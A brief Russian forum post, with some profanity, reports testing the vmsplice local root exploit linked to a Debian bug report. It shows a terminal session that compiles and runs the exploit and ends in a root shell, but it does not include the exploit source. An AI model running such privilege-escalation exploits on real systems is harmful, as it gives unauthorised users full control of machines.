http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464953
Потратил 5 минут, проверил, работает сука и грустно на душе. 11 килобайтный файлик дает юзеру su без пароля *(а нах это формальность?...).
Код: Выделить всё
under@gentoo ~ $ gcc -I/usr/src/linux/include a.c
a.c:269:2: warning: no newline at end of file
under@gentoo ~ $ chmod a+x a.out
under@gentoo ~ $ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ded000 .. 0xb7e1f000
[+] root
gentoo ~ # whoami
root
gentoo ~ # exit
exit
under@gentoo ~ $ ls -l a.out
-rwxr-xr-x 1 under under 11856 Фев 11 19:57 a.out
under@gentoo ~ $